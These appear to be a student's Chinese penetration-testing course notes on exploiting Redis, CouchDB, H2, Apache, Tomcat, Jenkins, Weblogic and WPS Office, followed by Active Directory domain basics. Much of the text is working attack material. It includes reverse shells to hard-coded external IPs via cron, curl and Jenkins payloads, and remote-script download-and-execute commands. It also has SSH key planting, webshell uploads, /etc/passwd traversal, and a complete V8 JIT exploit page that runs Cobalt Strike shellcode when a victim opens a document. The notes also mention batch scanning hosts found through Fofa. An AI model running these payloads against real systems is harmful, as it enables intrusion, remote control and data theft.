docker run -p 8181:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=0.0.0.0 vulfocus/vulfocus
访问8181端口,账号密码admin/admin,镜像管理一键同步

redis环境

下载,其他的也是这样

Redis Lua沙盒绕过 命令执行(CVE-2022-0543)
启动,用redis Desktop Manager连接

开启终端
Poc:执行id命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

执行pwd
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("pwd", "r"); local res = f:read("*a"); f:close(); return res' 0

这种连密码都没有就能连接的就是未授权
redis 未授权访问 (CNVD-2019-21763)
由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。
https://github.com/vulhub/redis-rogue-getshell
python redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"

修改命令为whoami

redis 未授权访问 (CNVD-2015-07557)
三种方法,第一种写webshell
这个条件就是对方主机有web服务,这里用自己搭建的环境进行实验会因为这个是docker搭建的而写在容器的/tmp目录下面,涉及到docke逃逸
但大多数情况下redis都是搭建在主机自身里面的,如果确实有web服务并且可以写入那么就ok
连接redis->执行命令写入webshell
-写Webshell需得到Web路径
利用条件:Web目录权限可读写
config set dir /tmp #设置WEB写入目录
config set dbfilename 1.php #设置写入文件名
set test "<?php phpinfo();?>" #设置写入文件代码
bgsave #保存执行
save #保存执行
注意:部分没目录权限读写权限
第二个就是写计划任务反弹shell
-写定时任务反弹shell
利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态
config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"
config set dbfilename x
save
注意:
centos会忽略乱码去执行格式正确的任务计划
而ubuntu并不会忽略这些乱码,所以导致命令执行失败
第三种就是把自己本地主机的密钥写入到目标主机,实现密钥登录
-写入Linux ssh-key公钥
利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态
允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
ssh-keygen -t rsa
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 目标IP -x set xxx
//以上步骤在自己的攻击机器上执行
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
cd /root/.ssh/
ssh -i id_rsa root@目标IP
-自动化项目:
https://github.com/n0b0dyCN/redis-rogue-server
python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost 攻击IP
这里自己运行的时候报了编码错误,临时设置为utf-8编码
export PYTHONIOENCODING=utf-8

i为交互式shell,r为反弹shell,选择i

实战测试直接用工具会方便快捷
redis的特征就是端口为6379
这些漏洞就是redis的配置文件没有设置密码导致的
Ø 数据库应用-Couchdb-未授权越权&CVE漏洞
Couchdb 命令执行 (CVE-2017-12636)
默认端口:5984
exp.py(https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py)修改目标和反弹地址
target = 'http://目标ip:目标端口'
command = rb"""sh -i >& /dev/tcp/攻击ip/攻击端口 0>&1"""
执行py文件之前在攻击机进行监听
执行py文件,攻击收到,得到终端

couchdb 权限绕过 (CVE-2017-12635)
创建用户,用PUT

登录地址:/_utils/

发送请求

登录

Ø 数据库应用-H2database--未授权访问&CVE漏洞
h2database RCE(CVE-2022-23221)
默认端口:8082、9082
界面:

第一种就是直接未授权进入,直接在JDBC URL输入:
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
Connect:

第二中就是让目标主机去加载远程的sql文件,利用反弹shell得到目标主机的shell
sql文件:
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';
反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/监听端口 0>&1
然后攻击机启动http服务,让目标主机能够访问到这个sql文件
python3 -m http.server http服务端口
攻击机监听端口
执行payload:
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://搭建的IP:http服务端口/h2database.sql';\

第79天:服务攻防-中间件安全&IIS&Apache&Tomcat&Nginx&弱口令&错误配置&CVE
#中间件-IIS-短文件&解析&蓝屏等
1、短文件:信息收集 前面讲过
2、文件解析:还有点用 前面讲过
3、HTTP.SYS:蓝屏崩溃 前面讲过
4、CVE-2017-7269 条件苛刻无意义
#中间件-Nginx-文件解析&命令执行等
1、后缀解析 文件名解析
配置不当:该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
CVE-2013-4547:影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
2、cve_2021_23017 无EXP有POC
https://github.com/M507/CVE-2021-23017-PoC
3、cve_2017_7529 意义不大
#中间件-Apache-RCE&目录遍历&文件解析等
Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点,发现 Apache HTTP Server 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,而不影响更早版本。
1、cve_2021_42013 RCE
curl --data "echo;id" 'http://xx.xx.xx.xx/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
echo;perl -e 'use Socket;$i="47.94.236.117";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
2、cve_2021_41773 目录穿越
Apache HTTP Server 2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。
curl -v --path-as-is 'http://xx.xx.xx.xx/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
GET /icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
3、cve-2017-15715 文件解析
Apache HTTPD是一款HTTP服务器。其2.4.0~2.4.29版本存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
4、cve_2017_9798 价值不高
5、cve_2018_11759 价值不高
6、cve_2021_37580 插件问题
#中间件-Tomcat-弱口令&文件上传&文件包含等
1、弱口令猜解
https://github.com/BeichenDream/Godzilla
配置不当导致后台弱口令,可通过上传jsp压缩包改名的war拿shell
-先爆破弱口令
-后门压缩zip改war
-上传war访问链接
2、CVE-2017-12615 文件上传
当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限。
影响版本:Apache Tomcat 7.0.0 - 7.0.79
PUT /x.jsp/
PUT /xx.jsp%20
PUT /xxx.jsp::$DATA
3、cve_2020_1938 文件包含
Apache Tomcat AJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。
漏洞影响的产品版本包括:
Tomcat 6.*
Tomcat 7.* < 7.0.100
Tomcat 8.* < 8.5.51
Tomcat 9.* < 9.0.31
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
D:\Python2.7\python.exe .\CNVD-2020-10487-Tomcat-Ajp-lfi.py 47.98.193.176 -p 35839 -f WEB-INF/web.xml
4、cve_2020_11996 拒绝服务
危害过大,权限无关,意义不大
5、cve_2020_9484 反序列化
利用条件太苛刻,意义不大
#中间件-Fofaviewer&Apache_RCE-测测实际
server="Apache/2.4.49"

Ø 中间件-IIS-短文件&解析&蓝屏等
1、短文件:信息收集 前面讲过
2、文件解析:还有点用 前面讲过
3、HTTP.SYS:蓝屏崩溃 前面讲过
4、CVE-2017-7269 条件苛刻无意义
Ø 中间件-Nginx-文件解析&命令执行等
配置不当:该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
CVE-2013-4547:影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
2、cve_2021_23017 无EXP有POC
https://github.com/M507/CVE-2021-23017-PoC
3、cve_2017_7529 意义不大
cve_2021_23017
页面

poc:https://github.com/M507/CVE-2021-23017-PoC
执行:
python poc.py -t 目标ip:目标端口 -r DNS地址(DNS直接用8.8.8.8)
这个我尝试了去复现但是报错:
WARNING: You should be providing the Ethernet destination MAC address when sending an is-at ARP.
WARNING: You should be providing the Ethernet destination MAC address when sending an is-at ARP.
WARNING: more You should be providing the Ethernet destination MAC address when sending an is-at ARP.
问了一下ai说需要内网ip,不知道是不是这个原因,而且这个是docker搭建的,后续要是有时间再用虚拟机自己搭一个vulhub测试
Ø 中间件-Apache-RCE&目录遍历&文件解析等
Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点,发现 Apache HTTP Server 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,而不影响更早版本。
cve_2021_41773 目录穿越
Apache HTTP Server 2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。
页面

测试漏洞是否存在
curl -v --path-as-is 'http://xx.xx.xx.xx/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'

或者是用bp抓包发送
GET /icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
3、cve-2017-15715 文件解析
Apache HTTPD是一款HTTP服务器。其2.4.0~2.4.29版本存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
4、cve_2017_9798 价值不高
5、cve_2018_11759 价值不高
6、cve_2021_37580 插件问题
RCE
页面

执行
curl --data "echo;id" 'http://目标ip:目标端口/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

反弹shell,一般格式的执行不了,用perl
curl --data "echo;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("119.21.29.84",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'" 'http://119.21.29.84:49445/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
或者python之类的,一个不行就换其他的
可以去收集版本符合的apache,用工具inbug cve_2021_42013工具去批量扫一下
Ø 中间件-Tomcat-弱口令&文件上传&文件包含等
tomcat的更新速度比apache慢,一些老版本现在可能还是有人在用,所以之前的老漏洞也可以尝试
弱口令猜解
页面

点击Manager App弹出登陆框

这里就是一个弱口令爆破,可以用bp,爆破出来账号密码就是tomcat/tomcat,页面有一个war文件的文件上传

可以用webshell管理工具生成一个后门文件然后压缩成war文件,上传之后就会有一个和war文件名一样的目录,目录下面有木马文件

连接

CVE-2017-12615 文件上传
当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限。
影响版本:Apache Tomcat 7.0.0 - 7.0.79
直接用PUT发包,请求文件,文件内容写上去
bp的载入文件:


注意这里的文件名后面加了%20,或者::DATA也可以,发包

连接

PUT /x.jsp/
PUT /xx.jsp%20
PUT /xxx.jsp::$DATA
前面两个基于windows,第三个基于linux
cve_2020_1938 文件包含
Apache Tomcat AJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。
漏洞影响的产品版本包括:
Tomcat 6.*
Tomcat 7.* < 7.0.100
Tomcat 8.* < 8.5.51
Tomcat 9.* < 9.0.31
页面

直接用网上给的exp利用
Python2 .\CNVD-2020-10487-Tomcat-Ajp-lfi.py 目标ip -p 目标端口 -f WEB-INF/web.xml
4、cve_2020_11996 拒绝服务
危害过大,权限无关,意义不大
5、cve_2020_9484 反序列化
第80天:服务攻防-中间件安全&HW2023-WPS分析&Weblogic&Jetty&Jenkins&CVE
#中间件-Jetty-CVE&信息泄漏
Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境。
/%2e/WEB-INF/web.xml
/.%00/WEB-INF/web.xml
/%u002e/WEB-INF/web.xml
/static?/WEB-INF/web.xml
/a/b/..%00/WEB-INF/web.
#中间件-Jenkins-CVE&RCE执行
Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作。探针默认端口:8080
1、cve_2017_1000353 JDK-1.8.0_291 其他版本失效
http://github.com/vulhub/CVE-2017-1000353
bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzY2ODggMD4mMQ==}|{base64,-d}|{bash,-i}"
python exploit.py http://123.58.236.76:54217 jenkins_poc.ser
2、CVE-2018-1000861
https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
bash -i >& /dev/tcp/47.94.236.117/5566 0>&1
python3 -m http.server 8888
python2 exp.py http://123.58.236.76:52281/ "curl -o /tmp/1.sh http://47.94.236.117:8888/shell.txt"
python2 exp.py http://123.58.236.76:52281/ "bash /tmp/1.sh"
3、cve_2019_100300 需要用户帐号密码
#中间件-Weblogic-CVE&反序列化&RCE
Weblogic是Oracle公司推出的J2EE应用服务器。
探针默认端口:7001
CVE-2023-21839(JNDI)
CVE-2020-2551(JRMP)
CVE-2020-2551
CVE-2020-2555
CVE-2020-2883
CVE-2020-14882未授权访问
CVE-2018-2894
CVE-2018-2628(JRMP)
CVE-2018-2893(JRMP)
CVE-2018-3245(JRMP)
CVE_2018_3252(JRMP)
CVE_2018_3191
CVE-2016-3510
CVE-2016-0638
CVE-2017-10271
CVE-2017-3248(JRMP)
CVE-2015-4852
https://github.com/KimJun1010/WeblogicTool
#应用WPS-HW2023-RCE执行&复现&上线CS
WPS Office 代码执行(QVD-2023-17241)
WPS Office 2023个人版<11.1.0.15120
WPS Office 2019企业版<11.8.2.12085
1、简单复现网上POC
分析1.html poc.docx
2、修改配合联动上线CS
-修改html中的shellcode(C#)
-修改docx中的指向连接URL
-修改hosts绑定执行域名规则
漏洞触发需让域名规则满足clientweb.docer.wps.cn.{xxxxx}wps.cn
实战中:申请{xxxxx}wps.cn域名
增加解析clientweb.docer.wps.cn.{xxxxx}wps.cn ip上面
IP架设1.html网站服务,修改1.html上线shellcode
#中间件-测测实际

Ø 中间件-Jetty-CVE&信息泄漏
Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境。
页面:

直接访问下面路径:
/%2e/WEB-INF/web.xml
/.%00/WEB-INF/web.xml
/%u002e/WEB-INF/web.xml
/static?/WEB-INF/web.xml
/a/b/..%00/WEB-INF/web.
抓包一个个尝试

可以返回,两个都是信息泄露,都是尝试这些路径去访问

Ø 中间件-Jenkins-CVE&RCE执行
Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作。探针默认端口:8080
cve_2019_100300 需要用户帐号密码
cve_2017_1000353
页面:

反弹shell:
bash -i >& /dev/tcp/119.29.21.84/8888 0>&1
base64加密后:
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuMjkuMjEuODQvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"
生成jenkins_poc.ser文件,执行:
python exploit.py http://119.29.21.84:41462/ jenkins_poc.ser

正常的话是能弹回shell的,但是我不知道为啥复现不了orz,java版本用的也是小迪说的那个
CVE-2018-1000861
大致就是,靶机去远程下载一个txt文件,txt文件里面是一个反弹shell语句,下载后保存为sh文件,再去执行这个sh文件实现shell反弹
反弹shell:
bash -i >& /dev/tcp/119.29.21.84/8888 0>&1
下载文件
python2 exp.py http://119.29.21.84:35837/ "curl -o /tmp/1.sh http://119.29.21.84/shell.txt"
执行
python2 exp.py http://119.29.21.84:35837/ "bash /tmp/1.sh"
批量测试就是把url改成fofa搜集到的尝试去下载远程文件,能下载的就是有漏洞的
Ø 中间件-Weblogic-CVE&反序列化&RCE
默认端口7001
页面:

特征页面
直接用工具梭

不知道上面漏洞那就全部检查,因为是靶场那就针对性检查

这个太慢了就换了一个

命令执行

内存马:

直接哥斯拉连接
fofa可以用特征页面加端口搜
Ø 应用WPS-HW2023-RCE&复现&上线CS
复现分析
在主机的hosts文件里面添加:
127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn
让域名clientweb.docer.wps.cn.cloudwps.cn指向127.0.0.1
docx文件本身是一个压缩包文件,改为压缩包后打开,在poc.zip\word\webExtensions下有文件webExtension1.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<wpswe:webExtension xmlns:wpswe="http://www.wps.cn/officeDocument/2018/webExtension"><wpswe:extSource id="dschart" version="1.0"/><wpswe:properties><wpswe:property key="DiscardFirstCodeChange" value="1"/><wpswe:property key="autoSnapshot" value="0"/><wpswe:property key="dschart" value="{"dschart_id":"3612096174443311105-4","id":"169"}"/><wpswe:property key="isUseCommonErrorPage" value="false"/><wpswe:property key="loadingImage" value="res:/icons/DsWebShapeDefaultPage.svg"/></wpswe:properties><wpswe:watchingCache><wpswe:linkPath>C:/Users/zxcv/AppData/Local/Temp/wps.hrngAX/Workbook1.xlsx</wpswe:linkPath></wpswe:watchingCache><wpswe:snapshot xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" r:embed="rId2"/><wpswe:externalData xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" r:id="rId1"/><wpswe:url>http://clientweb.docer.wps.cn.cloudwps.cn/1.html</wpswe:url><wpswe:constantSnapshot>false</wpswe:constantSnapshot></wpswe:webExtension>
其中http://clientweb.docer.wps.cn.cloudwps.cn/1.html就是docx会加载的文件,因为clientweb.docer.wps.cn.cloudwps.cn被我们加到了hosts文件中并且会解析成本机的ip,那么就会加载到开启了http服务的目录下的1.html文件,1.html文件里面就是要执行的操作,也可以叫做后门吧?
1.html一部分内容:

shellcode:一段用于利用软件漏洞的机器码(通常是十六进制操作码),通常作为攻击载荷(payload)的一部分,目的是让目标程序执行非预期的操作
一段经典的 Linux x86 shellcode,用于执行 /bin/sh:
section .text
global _start
_start:
xor eax, eax ; 清空 eax
push eax ; 字符串结尾的 NULL
push 0x68732f2f ; "hs//"(//sh,两个/用于对齐)
push 0x6e69622f ; "nib/"(/bin)
mov ebx, esp ; ebx 指向 "/bin//sh\0"
mov ecx, eax ; ecx = NULL(argv 为空)
mov edx, eax ; edx = NULL(环境变量为空)
mov al, 0xb ; syscall 号:execve = 11
int 0x80 ; 触发系统调用
1.html里面的shellcode就是调用计算器
那么我们就可以整理一下思路:用户打开docx文件->docx里面的webExtension1.xml加载web服务上面的一个文件,也就是1.html->1.html执行命令
实验:

在此目录下开启服务
python -m http.server 80

打开docx文件后弹出计算器
实战大致过程和CS上线
webExtension1.xml里面写的域名必须是wps.cn结尾的域名,我们不可能说1.html就乖乖在这个目录下,并且hosts文件里面的内容还需要修改
所以条件感觉还是挺苛刻的,在实战中大概流程就是:
-
有一个wps.cn结尾的域名,比如akaashiwps.cn
-
在hosts文件中添加
ip clientweb.docer.wps.cn.akaashiwps.cn,指向我们自己攻击机的ip -
准备好docx文件,里面的
webExtension1.xml加载的地址改成:http://clientweb.docer.wps.cn.akaashiwps.cn/1.html -
攻击机ip上面的html稍作修改,shellcode改成我们CS生成的
添加监听器,生成payload


注意不要x64
查看生成的文件

这个就是shellcode,我们添加到html里面:

保存
我们域名指向的ip还需要开启http服务,这里我直接用虚拟机了,kali的ip是192.168.117.128,开启服务,端口是5263,那么webExtension1.xml的内容应该改成:

hosts的内容:

受害者打开docx文件的话就会上线,这里注意wps之前已经调用过一次计算器了,会有缓存,如果不卸载重装就不会成功
卸载重装之后打开docx文件


上线了
大致流程:docx加载远程html文件->html文件包含恶意shellcode->打开docx之后执行恶意代码
完整的html文件:
<script>
if(typeof alert === "undefined"){
alert = console.log;
}
let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function gc(){ // major
for (let i = 0; i < 0x10; i++) {
new Array(0x100000);
}
}
function foo(bug) {
function C(z) {
Error.prepareStackTrace = function(t, B) {
return B[z].getThis();
};
let p = Error().stack;
Error.prepareStackTrace = null;
return p;
}
function J() {}
var optim = false;
var opt = new Function(
'a', 'b', 'c',
'if(typeof a===\'number\'){if(a>2){for(var i=0;i<100;i++);return;}b.d(a,b,1);return}' +
'g++;'.repeat(70));
var e = null;
J.prototype.d = new Function(
'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];');
J.prototype.a = new Function('a', 'a.b(0,a)');
J.prototype.b = new Function(
'a', 'b',
'b.c();if(a){' +
'g++;'.repeat(70) + '}');
J.prototype.c = function() {
if (optim) {
var z = C(3);
var p = C(3);
z[0] = 0;
e = {M: z, C: p};
}
};
var a = new J();
// jit optim
if (bug) {
for (var V = 0; 1E4 > V; V++) {
opt(0 == V % 4 ? 1 : 4, a, 1);
}
}
optim = true;
opt(1, a, 1);
return e;
}
e1 = foo(false);
e2 = foo(true);
delete e2.M[0];
let hole = e2.C[0];
let map = new Map();
map.set('asd', 8);
map.set(hole, 0x8);
map.delete(hole);
map.delete(hole);
map.delete("asd");
map.set(0x20, "aaaa");
let arr3 = new Array(0);
let arr4 = new Array(0);
let arr5 = new Array(1);
let oob_array = [];
oob_array.push(1.1);
map.set("1", -1);
let obj_array = {
m: 1337, target: gc
};
let ab = new ArrayBuffer(1337);
let object_idx = undefined;
let object_idx_flag = undefined;
let max_size = 0x1000;
for (let i = 0; i < max_size; i++) {
if (d2u(oob_array[i])[0] === 0xa72) {
object_idx = i;
object_idx_flag = 1;
break;
}if (d2u(oob_array[i])[1] === 0xa72) {
object_idx = i + 1;
object_idx_flag = 0;
break;
}
}
function addrof(obj_para) {
obj_array.target = obj_para;
let addr = d2u(oob_array[object_idx])[object_idx_flag] - 1;
obj_array.target = gc;
return addr;
}
function fakeobj(addr) {
let r8 = d2u(oob_array[object_idx]);
if (object_idx_flag === 0) {
oob_array[object_idx] = u2d(addr, r8[1]);
}else {
oob_array[object_idx] = u2d(r8[0], addr);
}
return obj_array.target;
}
let bk_idx = undefined;
let bk_idx_flag = undefined;
for (let i = 0; i < max_size; i++) {
if (d2u(oob_array[i])[0] === 1337) {
bk_idx = i;
bk_idx_flag = 1;
break;
}if (d2u(oob_array[i])[1] === 1337) {
bk_idx = i + 1;
bk_idx_flag = 0;
break;
}
}
let dv = new DataView(ab);
function get_32(addr) {
let r8 = d2u(oob_array[bk_idx]);
if (bk_idx_flag === 0) {
oob_array[bk_idx] = u2d(addr, r8[1]);
} else {
oob_array[bk_idx] = u2d(r8[0], addr);
}
let val = dv.getUint32(0, true);
oob_array[bk_idx] = u2d(r8[0], r8[1]);
return val;
}
function set_32(addr, val) {
let r8 = d2u(oob_array[bk_idx]);
if (bk_idx_flag === 0) {
oob_array[bk_idx] = u2d(addr, r8[1]);
} else {
oob_array[bk_idx] = u2d(r8[0], addr);
}
dv.setUint32(0, val, true);
oob_array[bk_idx] = u2d(r8[0], r8[1]);
}
function write8(addr, val) {
let r8 = d2u(oob_array[bk_idx]);
if (bk_idx_flag === 0) {
oob_array[bk_idx] = u2d(addr, r8[1]);
} else {
oob_array[bk_idx] = u2d(r8[0], addr);
}
dv.setUint8(0, val);
}
let fake_length = get_32(addrof(oob_array)+12);
set_32(get_32(addrof(oob_array)+8)+4,fake_length);
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;
let target_addr = addrof(wasm_instance)+0x40;
let rwx_mem = get_32(target_addr);
//alert("rwx_mem is"+rwx_mem.toString(16));
const shellcode = new Uint8Array([你的shellcode]);
for(let i=0;i<shellcode.length;i++){
write8(rwx_mem+i,shellcode[i]);
}
f();
</script>
内网对抗总思维导图
#知识点:
1、基石框架篇-单域架构-权限控制-用户和网络
2、基石框架篇-单域架构-环境搭建-准备和加入
3、基石框架篇-单域架构-信息收集-手工和工具
#章节点:
0、基石框架篇-单域、子域、父域、域树、域森林网络架构和搭建等
1、信息收集篇-待补充
2、代理隧道篇-待补充
3、横向移动篇(上)-待补充
4、横向移动篇(下)-待补充
5、权限控制篇-待补充
#简要点:
1、认知处于什么网络环境下
2、认知内网域分类及成员架构
3、认知信息收集有那些重要信息
4、认知代理隧道有那些方法技术
5、认知横向移动有那些方法技术
5、认知权限维持有那些方法技术

第168天:内网对抗-基石框架篇&单域架构&域内应用控制&成员组成&用户策略&信息收集&环境搭建
#工作组:
将不同的计算机按照功能分别列入不同的工作组。想要访问某个部门的资源,只要在“网络”里面双击该部门的工作组名。工作组就像一个可以自由进入和退出的社团,方便同组的计算机相互访问,工作组没有集中管理作用,工作组里的计算机都是相互对等的(即没有服务器和客户机之分)。对局域网中的计算机进行分类,使得网络更有序。计算机的管理依然是各自为政,所有计算机依然是对等的,松散会员制,可以随意加入和退出,且不同工作组之间的共享资源可以相互访问。
#内网域:
分类:单域、子域、父域、域树、域森林、DNS域名服务器
“域”是一个有安全边界的计算机组合(一个域中的用户无法访问另一个域中的资源),域内资源由一台域控制器(Domain Controller,DC)集中管理,用户名和密码是放在域控制器去验证的。
优点:通过组策略来统一管理。
单域:即只有一个域的网络环境,一般需要两台DC,一台DC,另一台备用DC(容灾)
父子域:类比公司总部和公司分部的关系,总部的域称为父域,各分部的域称为该域的子域。使用父子域的好处:
• 减小了域之间信息交互的压力(域内信息交互不会压缩,域间信息交互可压缩)
• 不同的子域可以指定特定的安全策略
父子域中域名使用一个.表示一个层次,类似于DNS域名表示方式,子域只能使用父域的名字作为域名后缀
域树:多个域通过建立信任关系组成的集合。若两个域之间需要相互访问,需要建立信任关系(Trust Relation),通过信任关系可以将父子域连接成树状结构
域森林:多个域树通过建立信任关系组成的集合。
域名服务器:实现域名到IP地址的转换。由于域中计算机使用DNS来定位DC、服务器和其他计算机的,所以域的名字就是DNS域的名字。
内网渗透中,大都是通过寻找DNS服务器来确定域控制器位置(因为DNS服务器和域控制器通常配置在一台机器上)
#域内权限:
• 域本地组:
• 多域用户访问单域资源
• (访问同一个域),主要用于授予本域内资源的访问权限,可以从任何域中添加用户账号、通用组和全局组。域本地组无法嵌套在其他组中
• 全局组:
• 单域用户访问多域资源
• (必须是同一个域中的用户),只能在创建该全局组的域中添加用户和全局组,但可以在域森林中的任何域内指派权限,也可以嵌套在其他组中
• 通用组:多域用户访问多域资源,成员信息不保存在域控制器中,而是保存在全局编录(GC)中,任何变化都会导致全林复制
域本地组:来自全林作用于本域
全局组:来自本域作用于全林
通用组:来自全林作用于全林
本地域组的权限
Administrators(管理员组) ————最重要的权限
Remote Desktop Users(远程登录组)
Print Operators(打印机操作员组)
Account Operators(帐号操作员组)
Server Operaters(服务器操作员组)
Backup Operators(备份操作员组)
全局组、通用组的权限
Domain Admins(域管理员组)————最最最重要的权限,一般来说域渗透是看重这个
Enterprise Admins(企业系统管理员组)————最重要的权限,其次是去看重这个权限
Schema Admins(架构管理员组)————最重要的权限
Domain Users(域用户组)
通常DNS服务器与域控制器会在同一台机器上
